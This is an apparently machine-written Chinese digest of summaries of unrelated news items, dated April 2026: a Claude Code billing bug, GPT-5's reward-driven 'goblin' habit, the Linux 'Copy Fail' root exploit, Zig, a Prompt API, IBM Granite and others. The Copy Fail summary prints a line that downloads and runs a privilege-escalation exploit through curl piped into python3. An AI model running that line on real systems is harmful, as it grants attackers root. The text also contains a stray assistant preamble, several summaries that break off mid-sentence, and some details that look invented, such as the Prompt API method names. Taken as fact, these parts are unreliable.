2026-04-30

总结

本文描述了在使用 Claude Code v2.1.119 时，由于 Git 仓库的最近提交历史包含大小写敏感的字符串 HERMES.md，导致 API 请求被路由到“额外使用”计费，而不是包含在 Max 计划配额中的情况。 这一问题导致作者花费了 200 美元（约 20x Max 计划）的额外使用额度，而计划容量（13% 每周使用率）仍然很大。

环境：

• Claude Code v2.1.119
• macOS (Apple Silicon)
• Max 20x 计划 ($200/月)
• 模型：claude-opus-4-6[1m] (同样在 claude-opus-4-7 上复现)

复现步骤：

无需项目文件，以下步骤可以复现问题：

1. 创建一个临时目录 /tmp/test-fail 并进入。
2. 初始化 Git 仓库，添加一个名为 test.txt 的文件，并提交，提交信息为 "add HERMES.md"。
3. 使用 claude -p "say hello" --model "claude-opus-4-6[1m]" 发送 API 请求。
   • 预期结果： 出现 "You're out of extra usage..." API 错误 (路由到额外使用计费)。
4. 创建一个临时目录 /tmp/test-pass 并进入。
5. 初始化 Git 仓库，添加一个名为 test.txt 的文件，并提交，提交信息为 "add hermes.md"。
6. 使用 claude -p "say hello" --model "claude-opus-4-6[1m]" 发送 API 请求。
   • 预期结果： 返回 "Hello!" (路由到计划配额)。
7. 清理临时目录: rm -rf /tmp/test-fail /tmp/test-pass

问题根源：

触发因素是 Git 提交信息中的字符串 HERMES.md，而不是磁盘上存在名为 HERMES.md 的文件。Claude Code 将最近的提交历史包含在系统提示词中，服务器端根据此字符串的存在将请求路由到不同的计费方式。

触发与未触发的情况对比：

影响：

• 消耗了 200.98 美元 的额外使用额度，这些请求本应由 Max 20x 计划配额覆盖。
• 多个项目在额外使用额度耗尽后变得无法使用，而计划仪表板显示每周剩余容量超过 86%。
• 错误消息 ("out of extra usage") 没有指示内容敏感路由是根本原因，这使得诊断非常困难。
• 任何 Git 提交信息中包含 HERMES.md 的用户都会在不知情的情况下被计费额外的额度。

预期行为：

API 请求计费不应依赖于系统提示词中 Git 提交信息的内容。所有 Max 计划用户的请求都应首先路由到包含的计划配额。

发现方式：

作者通过系统性的二分查找方法，克隆受影响的仓库，测试孤立分支，然后隔离单个提交信息字符串，最终确定 HERMES.md 是触发问题的确切字符串。

GPT-5系列模型中“妖精”现象的调查与解决

OpenAI 在 GPT-5.1 系列模型中发现了一个有趣的现象：模型在生成文本时，开始频繁使用“妖精”（goblins）、“地精”（gremlins）等奇幻生物作为隐喻。这种现象并非传统意义上的模型错误，而是逐渐出现的，并且随着模型版本迭代而加剧。

现象的发现与蔓延：

• 最初在 GPT-5.1 发布后，用户反馈模型对话过于亲切，并出现了“妖精”和“地精”等词汇。
• GPT-5.1 中，“妖精”的使用量增长了 175%， “地精”增长了 52%。
• GPT-5.4 版本中，对这些生物的提及数量显著增加，引发了内部分析。
• GPT-5.5 在内部测试中也表现出对“妖精”隐喻的偏好。

原因的探究：

• 个性化定制功能的影响： 调查发现，这种现象与 OpenAI 的个性化定制功能（特别是“书呆子/极客” - Nerdy 角色）的训练有关。
• 奖励机制偏差： “书呆子/极客”角色使用了一种特定的系统提示，鼓励使用幽默、富有哲理的语言。在强化学习训练中，模型对包含奇幻生物的输出给予了更高的奖励，导致了这种语言习惯的形成。
• 强化学习的泛化： 即使没有使用“书呆子/极客”角色，模型也会出现类似行为。这表明，在强化学习中获得的奖励机制，可能会泛化到其他情境中。
• 监督微调的强化： 带有“妖精”和“地精”等词汇的输出被用于监督微调数据，进一步强化了这种语言习惯。
• 其他奇幻生物： 除了妖精和地精，还发现了浣熊、巨魔、鸽子等其他奇幻生物也常被模型使用。

解决措施：

• 移除“书呆子/极客”角色： OpenAI 在 March 停止了“书呆子/极客”角色的使用。
• 调整训练数据： 清理了训练数据，过滤掉了包含奇幻生物的样本，以减少其出现频率。
• 开发工具： 创建了新的工具，用于审计模型行为，以便更快地识别和解决类似问题。
• Codex 开发者提示： OpenAI 为 Codex 添加了开发者提示，以抑制“妖精”的使用。

总结：

“妖精”现象揭示了奖励机制对模型行为的潜在影响，以及强化学习中行为泛化的可能性。通过深入调查和采取相应措施，OpenAI 成功解决了这一问题，并积累了宝贵的经验，用于改进模型训练和行为审计流程。 这也突出了在模型开发中对奖励信号进行仔细评估和控制的重要性。

Copy Fail: Linux 内核漏洞 CVE-2026-31431 总结

漏洞概述:

Copy Fail 是一个影响广泛的 Linux 内核漏洞 (CVE-2026-31431)，允许本地未特权用户通过利用 AF_ALG 接口获取 root 权限。该漏洞源于 2017 年引入的 algif_aead 优化，该优化允许将页面缓存页直接写入目标 scatterlist，从而导致安全问题。

受影响范围:

• 内核版本: 2017 年至漏洞补丁发布期间构建的内核。
• 受影响发行版: 大部分主流 Linux 发行版都受到影响，包括：
  • Ubuntu 24.04 LTS (6.17.0-1007-aws)
  • Amazon Linux 2023 (6.18.8-9.213.amzn2023)
  • RHEL 10.1 (6.12.0-124.45.1.el10_1)
  • SUSE 16 (6.12.0-160000.9-default)
• 其他发行版: Debian, Arch, Fedora, Rocky, Alma, Oracle 等也可能受到影响。

潜在影响:

• 多租户 Linux 环境: 任何用户都可能获得 root 权限。
• Kubernetes/容器集群: 攻击者可以跨容器和跨租户获得控制权。
• CI/CD 环境: 执行不受信任代码的 CI/CD 运行器可能被攻破。
• 云 SaaS 环境: 租户可能获得主机 root 权限。
• 标准 Linux 服务器: 内部 LPE (Local Privilege Escalation)，可以与其他漏洞 (如 Web RCE 或凭据泄露) 结合利用。
• 单用户笔记本/工作站: 允许本地代码执行获得 root 权限。

漏洞利用:

• PoC (概念验证) 代码: 已发布 copy_fail_exp.py 脚本，用于验证系统并测试补丁。
• PoC 脚本: Python 3.10+ 标准库 (os, socket, zlib) 实现，默认目标为 /usr/bin/su，可以指定其他 setuid 二进制文件。
• 运行方式: curl https://copy.fail/exp | python3 && su
• SHA256 哈希: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

缓解措施:

1. 首要措施：立即应用补丁。 更新内核包到包含 mainline commit a664bf3d603d 的版本。
2. 补丁前临时缓解： 禁用 algif_aead 模块：
   • echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
   • rmmod algif_aead 2>/dev/null || true

影响分析:

• 不受影响: dm-crypt / LUKS, kTLS, IPsec/XFRM, in-kernel TLS, OpenSSL/GnuTLS/NSS 默认构建，SSH，kernel keyring crypto。 这些直接使用内核加密 API，不经过 AF_ALG。
• 可能受影响: 显式配置使用 AF_ALG 的用户空间应用程序，例如 OpenSSL 使用 afalg 引擎，某些嵌入式加密卸载路径，或直接绑定 aead/skcipher/hash socket 的应用程序。 使用 lsof | grep AF_ALG 或 ss -xa 进行检查。
• 性能: 禁用 AF_ALG 对未调用它的系统没有影响；对已调用它的系统，性能会回退到标准的 userspace 加密库，这是大多数系统当前所用的方式。

安全建议:

对于不受信任的工作负载 (容器、沙箱、CI)，无论是否已应用补丁，都应通过 seccomp 阻止 AF_ALG socket 的创建。

时间线:

• 2026-03-23: 向 Linux 内核安全团队

Zig 项目的 LLM 政策及贡献者价值

本文主要介绍了 Zig 编程语言项目对大型语言模型 (LLM) 使用的严格政策，以及其背后的深层原因。

Zig 的 LLM 政策：

Zig 项目对 LLM 的使用采取了非常严格的限制，具体如下：

• 禁止使用 LLM 解决问题 (issues)。
• 禁止使用 LLM 撰写拉取请求 (pull requests)。
• 禁止使用 LLM 为错误跟踪器 (bug tracker) 撰写评论，包括翻译。鼓励使用英语，但允许使用母语，并依赖其他贡献者使用各自的翻译工具。

Bun 项目与 Zig 的关系：

Bun JavaScript 运行时是 Zig 最著名的项目之一，并于 2025 年 12 月被 Anthropic 收购。Bun 使用了 Zig 的一个分支版本，并在最近通过添加“并行语义分析和多个代码生成单元到 llvm 后端”实现了 4 倍的编译速度提升。Bun 的 Zig 分支版本对编译速度的提升的代码已公开，但由于 Zig 的 LLM 政策，Bun 计划暂时不会将这些改进合并回主分支。

Zig 对贡献者价值的重视：

Zig Software Foundation 社区副总裁 Loris Cro 解释了 Zig 严格的 LLM 政策背后的原因，他将其称为“贡献者扑克”。 Zig 项目认为，核心团队的主要目标不是仅仅合并代码，而是帮助新贡献者成长为值得信赖和多产的成员。

• 投资贡献者： Zig 团队将每个贡献者视为一种投资，花费时间帮助新贡献者成长，即使他们需要一些帮助。
• 贡献者扑克： 就像扑克游戏一样，Zig 更看重贡献者本身，而不是他们第一次提交的 PR 的内容。 即使 LLM 帮助贡献者提交了完美的 PR，核心团队花费在审查工作上的时间仍然无法帮助培养新的、自信的贡献者。
• 避免 LLM 带来的问题： 如果 PR 主要由 LLM 编写，项目维护者可能会考虑使用自己的 LLM 来解决相同问题，而不是花费时间审查和讨论。

总结：

Zig 项目的 LLM 政策并非仅仅为了拒绝使用 AI 工具，而是基于对贡献者价值的深刻理解，旨在通过投资和培养贡献者，构建一个可持续发展的开源社区。 这种策略将重点放在帮助新贡献者成长，而不是简单地接受由 LLM 产生的代码。

Prompt API 提案摘要

本提案旨在定义一个标准化的 JavaScript API，允许 Web 应用程序与大型语言模型 (LLM) 交互，从而简化和增强基于提示的 AI 功能的开发。该 API 由 @domenic 提出，目前 Blink 已经发布了意向原型 (Intent-to-Prototype)，表明 Chromium 团队对该提案的兴趣。

核心目标:

• 标准化 LLM 交互: 提供一个统一的接口，取代当前依赖于不同 LLM 提供商的专有 API 的情况。
• 简化开发: 降低开发人员与 LLM 集成所需的复杂性，加速 AI 应用的开发周期。
• 提升可移植性: 允许 Web 应用程序在不同的 LLM 之间更容易地切换，提高代码的可移植性和适应性。

主要组件:

该 API 的核心概念围绕着 Prompt 和 Completion 对象。

• Prompt 对象: 代表一个提示文本，可以包含：
  • text: 提示文本本身。
  • examples: 用于指导 LLM 生成期望输出的示例对（输入/输出）。
  • metadata: 附加信息，例如提示的来源或创建者。
• Completion 对象: 代表 LLM 对提示的响应，可以包含：
  • text: 生成的文本内容。
  • metadata: 关于生成的文本的附加信息，例如置信度得分或生成时间。

关键功能:

• navigator.prompt: 一个静态属性，用于访问 Prompt 和 Completion 相关的功能。
• Prompt.create(): 用于创建 Prompt 对象的静态方法。
• Prompt.from(): 从现有文本创建 Prompt 对象的静态方法。
• Prompt.send(): 用于将 Prompt 发送到 LLM 并获取 Completion 的方法。 该方法返回一个 Promise，Promise 解析为 Completion 对象。
• Completion.stream(): 允许以流式方式接收 Completion 对象的文本内容，提高用户体验。

架构:

该 API 旨在与现有的 Web 标准兼容，并尽可能地利用现有的 JavaScript 功能。 它支持流式传输，允许应用程序在 LLM 生成响应时逐步显示内容，从而提高用户体验和响应速度。

未来发展:

• 更多类型支持: 未来可能支持更复杂的提示类型，例如图像提示或多模态提示。
• 安全性和隐私: 将重点关注安全性和隐私，确保 LLM 的使用符合 Web 标准和用户期望。
• LLM 提供商集成: API 将被设计成可以轻松地集成不同的 LLM 提供商。

总结:

Prompt API 旨在创建一个标准化的、易于使用的 Web API，用于与 LLM 进行交互。 通过提供统一的接口和支持流式传输，该 API 有望简化基于提示的 AI 应用的开发，并促进 Web 上 AI 功能的广泛应用。 Blink 团队的意向原型表明，该提案正在积极推进中。

京都的樱花盛开记录：千年气候变化的见证

这份内容讲述了京都记录樱花盛开日期的悠久历史，以及它所蕴含的气候信息。以下是主要内容：

核心记录：

• 京都记录樱花盛开日期已有超过一千年，是地球上持续时间最长的自然现象记录之一。
• 记录涵盖了1215年，包含838次观测记录。
• 预测2026年的樱花盛开日期为3月29日，比现代之前的平均日期提前超过两周。

数据呈现：

• 每个浅色的点代表一年中指定樱花树达到盛开状态的日期。
• 最早的记录可追溯到812年。
• 虽然存在一些世纪的缺失，但记录总体上是连续的。
• 30年移动平均线（玫瑰色线）追踪了整个时期的气候信号。

气候信号解读：

• 过去一千年里，移动平均线大部分时间徘徊在四月初和五月初之间。
• 小冰河时期（约14世纪至19世纪）表现为盛开日期逐渐推迟的趋势。
• 从1900年开始，移动平均线开始下降，在20世纪末跨越了自平安时代以来任何记录值。

关键数据：

• 最早的盛开日期：2023年3月25日
• 最晚的盛开日期：1323年5月4日
• 一年内最大变化：1556年到1557年相差27天
• 示例：1987年的盛开日期为4月5日

数据来源与方法：

• 数据由大阪府立大学的Yasuyuki Aono 编译，基于皇室日记、寺庙记录和现代气象数据。
• 数据存档于 NOAA Paleoclimatology。
• 30年移动平均线是在窗口内至少有5次观测记录时计算得出。
• 数据可通过 Our World in Data 访问 (CC‑BY)。
• CSV 数据文件可下载：/kyoto-bloom/bloom-data.csv

语言与文化：

• 一千年来对樱花盛开的记录，赋予了日语精准的词汇。
• 常见的词汇包括：
  • 桜 (sakura)：樱花树和花朵
  • 開花 (kaika)：花蕾开放
  • 満開 (mankaifull bloom)：盛开期
  • 花吹雪 (hanafubuki)：花瓣飞舞

学习资源：

• JIVX 是一个日语学习应用程序，提供樱花主题的短课程，包含语音、例句和语法笔记。
• 可以通过以下链接学习更多：Practice the rest at JIVX →

总结：HTTP 反向代理的安全困境与 FastCGI 的复兴 (Summary: HTTP Reverse Proxy Security Issues and the Revival of FastCGI)

本文探讨了使用 HTTP 作为反向代理与后端通信的安全性问题，并推荐使用一个鲜为人知但更安全的替代方案：FastCGI。

HTTP 反向代理的缺陷 (HTTP Reverse Proxy Deficiencies):

• Desync 攻击/请求走私 (Desync Attacks / Request Smuggling): HTTP/1.1 的格式灵活性导致不同的实现对消息边界的解析不一致，从而可能导致安全漏洞。HTTP/2 解决了这个问题，但 FastCGI 自 1996 年起就避免了这一问题。
• 不可靠的头部信息传递 (Untrusted Header Propagation): HTTP 缺乏可靠的机制来区分代理添加的受信任头部信息（如真实客户端 IP 地址）和来自攻击者的恶意头部信息。这导致需要手动删除或清理头部信息，但容易出错且难以保证安全。

FastCGI 的优势 (Advantages of FastCGI):

• 明确的消息边界 (Clear Message Boundaries): FastCGI 协议定义了明确的消息边界，避免了 HTTP 的 desync 问题。
• 结构化的头部信息分离 (Structured Header Separation): FastCGI 通过在 HTTP 头部名前添加前缀 "HTTP_" 将代理添加的受信任数据与客户端头部信息分离，防止恶意头部信息被后端信任。
• 易于集成 (Easy Integration): 许多流行的代理服务器（如 Apache、Caddy、nginx 和 HAProxy）都支持 FastCGI。在 Go 语言中，只需导入 net/http/fcgi 包即可轻松切换到 FastCGI。
• 自动处理 (Automatic Handling): Go 的 net/http/fcgi 包自动设置 http.Request 中的 RemoteAddr 字段，无需额外的中间件处理。

FastCGI 的现状 (Current Status of FastCGI):

尽管 FastCGI 优势明显，但其普及度不高，原因可能包括名称过时、缺乏对 HTTP 反向代理安全问题的认识以及工具支持不足（例如 curl 不支持 FastCGI）。尽管如此，FastCGI 已经在某些场景下稳定运行多年（如 SSLMate），并且对于不使用 WebSocket 的应用来说，仍然是一个值得考虑的选择。作者认为，与其处理 HTTP 反向代理的复杂性和安全风险，不如选择 FastCGI 并增加硬件资源。

总而言之，本文呼吁人们重新审视 FastCGI 协议，并将其作为 HTTP 反向代理的一种更安全、更可靠的替代方案。

马里兰州禁止“监控定价”：概述与分析

核心内容: 马里兰州成为美国首个禁止在食品杂货店使用“监控定价”的州。这项法律旨在保护消费者免受基于个人数据设定更高价格的侵害。

法律内容与背景:

• 什么是监控定价？ 监控定价（又称动态定价）是指商家根据消费者的位置、互联网搜索历史、人口统计数据等个人信息，快速调整商品价格，导致不同消费者为同一商品支付不同的价格。
• 法律的实施: 马里兰州州长 Wes Moore 于周二签署了这项法律，禁止食品杂货店和第三方送货服务利用个人数据来设定价格。
• 联邦层面的动向: 美国联邦贸易委员会 (FTC) 已经记录了在服装、美容产品、家居用品和五金店等领域出现的监控定价现象。FTC 在拜登政府时期对这种定价行为进行了调查，并于去年 1 月发布了初步报告，指出公司使用广泛的个人数据来设定价格。但由于当前 FTC 主席认为之前的报告过于仓促，联邦层面可能不会采取行动。
• 其他州的情况: 科罗拉多州、加利福尼亚州、马萨诸塞州、伊利诺伊州和新泽西州也在考虑类似的法规。

法律的局限性与批评:

• 行业游说影响: 反监控定价倡导者认为，该法律存在许多行业游说造成的漏洞，可能难以有效保护消费者。
• 豁免条款: 法律允许忠诚度计划和促销优惠，这意味着商家可以通过其他方式达到相同的定价结果，而这些方式更难被消费者察觉。
• 执行力度: 消费者报告 (Consumer Reports) 等组织批评该法律的执行力度较弱，并呼吁立法者在明年修改该法律，加强消费者保护并消除漏洞。
• 缺乏个人诉讼权: 该法律只允许州检察长执行，而不能让个人起诉违规行为，这被批评为削弱了问责制。
• 潜在的示范效应: 一些批评者担心，其他州可能会将该法律视为榜样，复制其内容，从而允许行业持续进行歧视性定价。

Instacart 的回应:

• Instacart 宣布将不再使用允许食品杂货店向不同购物者收取不同价格的科技，这部分原因是受到消费者报告的调查所影响。
• Instacart 同时表示，该公司从未进行过监控定价，并支持这项法律的核心原则：价格不应基于客户的个人数据进行个性化设置。

总结: 马里兰州禁止监控定价的法律是一项重要的进步，但其漏洞和执行力度引发了担忧。该法律的未来走向以及其他州是否会效仿，将对消费者的权益产生重大影响。

比利时将停止核电站退役，并可能实现国有化：总结

核心要点: 比利时政府宣布将停止核电站退役计划，并计划与运营商ENGIE就核电站的国有化进行谈判。

详细内容:

• 政策转变: 比利时首相巴特·德韦弗（Bart De Wever）于2026年4月30日宣布，该国将放弃原定的核电逐步淘汰计划。
• 谈判进程: 政府将与ENGIE公司就国有化方案进行独家谈判。双方已签署意向书。
• 谈判范围: 意向书涵盖了比利时七座核反应堆的全部资产，包括人员、核能子公司、相关资产和负债，以及退役和拆除义务。
• 时间表: 预计将在2026年10月达成初步协议。
• 历史背景: 比利时最初于2003年决定在2025年逐步淘汰核电，但由于政治辩论和能源安全担忧，该计划多次延期。去年，比利时议会以压倒性多数通过了终止核电淘汰计划的决议。
• 未来规划: 德韦弗政府的目标还包括建设新的核电站。
• 现有情况: 比利时在两个地点拥有七座核反应堆，其中三座已经停止运行。
• 能源挑战: 比利时目前严重依赖天然气进口来满足电力需求，因为其可再生能源发电的扩张进展缓慢。

总结: 比利时因能源安全和可负担性考虑，最终放弃了核电站退役计划，转而寻求通过国有化来控制能源供应，并计划未来建设新的核电站。

用户体验设计中的重要法则总结

以下是对用户体验设计中一系列重要法则的总结，这些法则基于心理学和认知科学，旨在帮助设计师创建更直观、更易用、更令人满意的产品。

一、认知与心理法则：

• 美学-可用性效应 (Aesthetic-Usability Effect): 用户倾向于将美观的设计 perceived 为更易用。
• 选择超载 (Choice Overload): 过多的选项会使人感到不知所措，导致决策困难。
• 认知偏差 (Cognitive Bias): 系统性的思维错误，会影响我们对世界的感知和决策能力。
• 认知负荷 (Cognitive Load): 理解和与界面交互所需的精神资源量。 降低认知负荷有助于提升用户体验。
• 多赫蒂阈值 (Doherty Threshold): 计算机和用户交互速度快于 400ms 时，能显著提高效率，避免等待带来的不适。
• 米勒法则 (Miller’s Law): 人们在工作记忆中只能保持 7 ± 2 个信息项。
• 齐格尼克效应 (Zeigarnik Effect): 人们更容易记住未完成或中断的任务，而不是已完成的任务。
• 工作记忆 (Working Memory): 一个认知系统，用于临时存储和操作完成任务所需的信息。
• 目标梯度效应 (Goal-Gradient Effect): 距离目标越近，实现目标的动力就越大。
• 选择性注意 (Selective Attention): 只关注环境中与目标相关的刺激子集的过程。

二、设计原则与规律：

• 格式塔法则： 这是一组描述人类视觉感知方式的原则，包括：
  • 接近性 (Law of Proximity): 彼此靠近的元素会被感知为一组。
  • 相似性 (Law of Similarity): 相似的元素会被感知为整体或组。
  • 共同区域 (Law of Common Region): 共享明确边界区域的元素会被感知为一组。
  • 统一连接性 (Law of Uniform Connectedness): 视觉连接的元素被认为是更相关的。
  • 孕恩茨法则 (Law of Prägnanz): 人们倾向于将模糊或复杂的图像感知为最简单的形式。
• 费茨定律 (Fitts’s Law): 获取目标所需的时间取决于目标到手的距离和目标的大小。
• 希克定律 (Hick’s Law): 做出决策所需的时间随着选择数量和复杂性的增加而增加。
• 雅各布定律 (Jakob’s Law): 用户通常在其他网站上花费更多的时间，因此他们更喜欢网站按照他们已经熟悉的方式工作。
• 奥卡姆剃刀原则 (Occam’s Razor): 在预测结果相同的假设中，应该选择假设最少的那个。

三、用户行为与体验：

• 流动 (Flow): 一种完全沉浸在活动中的精神状态，伴随着专注、投入和享受。
• 峰终法则 (Peak-End Rule): 人们对体验的评价主要基于体验高峰和结束时的感受，而不是整个体验的平均值。
• 帕累托原则 (Pareto Principle): 大约 80% 的效果来自 20% 的原因。
• 帕金森定律 (Parkinson’s Law): 任何任务都会膨胀到填满可用的所有时间。
• 活跃用户悖论 (Paradox of the Active User): 用户通常不会阅读手册，而是直接开始使用软件。
• 波斯泰尔定律 (Postel’s Law): 在接收方面要宽容，在发送方面要保守。
• 序列位置效应 (Serial Position Effect): 用户更容易记住序列中的第一个和最后一个项目。
• 冯·雷斯托夫效应 (Von Restorff Effect): 在多个相似的对象中，与众不同的那个更容易被记住。
• 复杂度守恒定律 (Tesler’s Law): 任何系统都存在不可减少的复杂度。

总而言之，理解这些法则有助于设计师创建更有效、更直观、更以用户为中心的体验。

IBM Granite 4.1：企业级开源语言模型详解

IBM 近期发布了 Granite 4.1，这是一系列专为企业应用设计的开源语言模型。该系列包含三个尺寸的模型，采用 Apache 2.0 许可协议，并在 15 万亿个 token 上进行训练，体现了对训练流程的极致追求。

核心亮点：8B 模型的卓越表现

Granite 4.1 的 8B 模型（采用密集架构，无 MoE 技术，无扩展推理链）在许多基准测试中，性能与 Granite 4.0-H-Small (32B 参数，9B 活动参数) 相媲美甚至超越。这表明 IBM 在模型训练方面取得了显著进步，更注重数据质量而非单纯的参数数量。

构建方式与策略

Granite 4.1 包含 3B、8B 和 30B 三种尺寸的模型，均采用相同的密集型 Transformer 解码器架构、训练流程和数据策略。它们唯一的区别在于模型大小。

• 训练阶段： IBM 分五个阶段进行训练，每个阶段的数据混合、学习率计划和目标都不同。
  • 阶段 1: CommonCrawl (59%)、代码 (20%)、数学 (7%)。
  • 阶段 2: 数学占比提升至 35%，代码占比提升至 30%。
  • 阶段 3 & 4: 融入链式思维推理轨迹和高质量指令数据。
  • 阶段 5: 扩展上下文窗口，8B 和 30B 模型最终扩展至 512K token。
• 数据过滤： 训练前，IBM 建立了一个数据过滤系统，利用 LLM 作为评判者，对每个助手回复在六个维度（指令遵循、准确性、完整性、简洁性、自然性、校准）进行评分，低于阈值的样本将被剔除。 自动拒绝虚构答案、不遵循指令、错误的计算结果等。最终筛选出的高质量训练样本为 410 万个。
• 强化学习 (RL): 采用四轮强化学习，最初在九个领域（数学、科学、逻辑推理、指令遵循、结构化输出、Text-to-SQL、时间推理、通用聊天、上下文学习）联合训练，防止模型遗忘早期领域知识。 后期通过 RLHF 提升聊天质量，但数学性能下降，随后通过身份和知识校准以及专门的数学 RL 训练进行恢复。

基准测试结果

• 30B 模型在 BFCL V3 工具调用基准测试中领先，达到 73.7 分，超过了 Gemma-4-31B (72.7 分)。
• 8B 模型在许多基准测试中优于之前的 Granite 4.0-H-Small。
• 3B 模型即使在参数数量较少的情况下，在指令遵循、数学推理和工具调用方面也表现出色。

512K 上下文窗口

IBM 采用分阶段扩展方法，逐步将上下文窗口扩展到 32K、128K 和最终的 512K token。 每次扩展后，将长上下文 checkpoint 与之前的权重合并，以保留模型在短上下文下的性能。

如何使用

• Ollama: 最简单的方法，可轻松运行不同尺寸的模型。
• **Hugging

好的，这是对原文的总结，使用 Markdown 格式，中文呈现，且字数控制在 800 字以内：

Alignment Whack-a-Mole：大型语言模型微调与版权书籍记忆问题

概述

本文发表于 arXiv（https://arxiv.org/abs/2603.20957），并提供了一个演示网站 (https://cauchy221.github.io/Alignment-Whack-a-Mole/)。该项目旨在研究大型语言模型（LLM）在微调后对版权书籍内容的记忆问题，即微调是否会激活模型对原始文本的逐字记忆。

代码仓库内容

该代码仓库包含了以下内容：

• 数据预处理流程： 将书籍转换为适合微调和评估的 JSON 格式。
• 微调脚本： 用于使用 OpenAI GPT-4o、Google Gemini-2.5-Pro 和 DeepSeek-V3.1 模型进行微调。
• 记忆评估代码： 用于评估模型记忆的程度。
• 分析脚本： 用于分析模型的记忆行为。

数据预处理

1. EPUB 转换为纯文本： 使用 epub2txt.py 将 EPUB 文件转换为纯文本文件。
2. 文本分割成节： 使用 split.py 将文本分割成大约 300-500 字的节。超过 500 字的节会使用 GPT-4o 在语法边界处重新分割。
3. 合并短节并生成摘要： 使用 fix_file.py 将短于 300 字的节合并到相邻节中，并使用 GPT-4o 为每个节生成摘要。同时，构建微调指令，格式为 "Write a {N} word excerpt about the content below emulating the style and voice of {Author}\n\nContent: {summary}"。

微调与生成

• GPT-4o: 使用 OpenAI API 进行微调和生成。
• Gemini-2.5-Pro: 使用 Vertex AI API 进行微调和生成。
• DeepSeek-V3.1: 使用 Tinker 平台进行微调，并使用其生成 completions。

所有模型都使用相同的设置：每节采样 100 个 completions，temperature 设置为 1.0。

评估指标

该研究提出了四种记忆评估指标：

• BMC@k (Book Memorization Coverage at k): 衡量模型覆盖测试书中单词的比例。
• Longest Contiguous Memorized Block: 衡量连续记忆块的最大长度。
• Longest Contiguous Regurgitated Span: 衡量从单个生成中提取的最长逐字匹配片段。
• # Contiguous Regurgitated Spans > T: 衡量长度超过 T 单词的连续逐字匹配片段的数量。

数据格式

• 测试书籍： JSON 列表，包含节的详细信息 (书名、作者、节 ID、节文本、字数、摘要、指令)。
• 生成结果： JSON 列表，包含节的 ID、节文本、指令以及生成的文本列表。

分析内容

• 跨节记忆： 分析模型是否会从非提示节中生成逐字文本。
• 跨模型相似性： 计算不同模型之间 BMC 覆盖率相似性，以衡量它们是否记忆相同的区域。

总结

该项目通过提供代码和数据，鼓励研究人员探索 LLM 微调后对版权书籍内容的记忆问题，并提供了一系列工具和指标来评估这种记忆行为。研究结果表明，微调可能会导致 LLM 对原始文本进行逐字记忆，这引发了版权和知识产权方面的伦理和法律问题。

内容摘要 (Summary)

该内容描述了一个系统或软件的功能，主要围绕着检测和搜索移动物体，并与交通相关。以下是主要要点：

• 移动物体检测: 系统能够检测并显示移动物体，可能用于交通监控、安全系统等。
• 交通信号灯（🚦 Ampel）: 显示系统与交通信号灯相关，可能用于分析或监控交通信号灯的状态。
• 道路相关设施（🛣️ RSU）: 系统涉及到道路相关设施，RSU可能指 Road Side Unit，即道路侧设备，用于车辆与基础设施之间的通信。
• 几何超时（Geometrie Timeout）: 存在一个几何超时设置，表明系统在处理几何数据时，会有一个时间限制，超时后可能发生某种行为。
• 高级搜索（Advanced）: 系统提供高级搜索功能，允许用户根据以下条件进行搜索：
  • 行号/行文本 (Liniennummer/-text)
  • 课程号 (Kursnummer)
  • 目标号/目标文本 (Zielnummer/-text)
  • MAC 地址 (MAC-Adresse)
• 数据过滤: 搜索结果可以根据数据类型进行过滤：
  • 有数据的站点 (nur Stations mit Daten)
  • 没有数据的站点 (nur Stations ohne Daten)
  • 有照片的站点 (nur Stations mit Fotos)
  • 没有照片的站点 (nur Stations ohne Fotos)
  • 有签名的站点 (nur Stations mit Signatur)
  • 没有签名的站点 (nur Stations ohne Signatur)

总而言之，该系统似乎是一个用于监控交通状况，检测移动物体，并能够根据多种条件进行搜索和过滤的工具，可能用于智能交通管理、安全监控等应用场景。

总结：关于 Zig 语言的探索与评价 (Summary of Exploring and Evaluating Zig)

本文作者分享了对 Zig 语言的探索和评价，基于三个维度：表达想法的便捷性、创建正确性构建系统的能力，以及“惊喜”的平均发生频率（mean-time to a surprise）。作者对 Zig 表现出乐观态度，认为它在系统编程领域具有潜力。

核心观点：

• 表达能力 (Expressiveness): 作者认为 Zig 能够很好地表达想法，减少了程序中与领域无关的“噪声”。
• 类型系统编程 (Type System Programming): 作者认为 Zig 的 comptime 特性使其能够实现类似 Haskell 的类型系统编程，方便创建正确性构建系统。
• 惊喜平均发生频率 (Mean-Time to Surprise): 作者认为 Zig 的设计哲学（例如“无神秘动作于远方”）使得代码行为更加可预测，减少了意外情况的发生。

具体分析：

• 对现有语言的批判： 作者批评了当前主流的垃圾回收语言（例如 Haskell, OCaml, Common Lisp/Clojure, Scheme），认为它们在性能上受限于垃圾回收机制，并且容易造成开发者对底层系统缺乏理解。作者认为垃圾回收的价值已经改变，现代硬件的计算能力远超内存访问速度，因此需要重新审视语言的设计。
• Zig 的优势：
  • 更好的内存管理： Zig 鼓励更好的手动内存管理，通过 Arenas 和 Allocators 提供了更精细的控制，从而提高程序性能。
  • IO 系统接口设计： Zig 0.16 版本对 IO 系统进行了重构，采用了接口设计，这与 Haskell 中的 IO monad 的设计理念类似，体现了对函数式编程思想的借鉴。
  • comptime 和类型系统： Zig 的 comptime 特性使得可以利用 struct 和 union 来实现类似 Haskell 的 newtype、sum type 和 typeclass，虽然实现方式略有不同，但提供了强大的类型系统编程能力。作者还展示了如何通过 comptime 实现简单的 Eq 类型类。
• 对 Zig 的未来展望： 作者认为 Zig 正在创新，并具有勇气进行创新，解决了许多现有语言存在的问题。作者对 Zig 的未来充满信心，认为它将在其编程实践中扮演重要角色。

总结：

作者认为 Zig 语言在表达能力、类型系统编程和可预测性方面都具有优势，有望成为一种优秀的系统编程语言。作者对 Zig 的设计理念和发展方向表示赞赏，并期待在未来更多地使用 Zig 进行编程。

细胞内部的惊人世界：数学视角下的生物学 (The Astonishing World Inside Cells: Biology Through a Mathematical Lens)

本文探讨了细胞内部的复杂性和动态性，并强调了数学在理解生物学中的重要性。

细胞的紧凑性与体积

• 细菌的基因组长度远超细胞本身，如果将 E. coli 的后代基因组连接起来，会延伸到月球再返回数次。
• E. coli 细胞体积极小，仅为红细胞体积的十分之一，约为一粒沙子的十万分之一。
• 细胞内部并非教科书描绘的空旷环境，而是像墨西哥卷饼一样拥挤，各种生化物质相互碰撞。

生物学与数学的结合

• 作者最初对数学有抵触，但博士期间在 Rob Phillips 的实验室学习物理生物学，开始利用数学工具理解生物学问题，例如细胞中核糖体的数量。
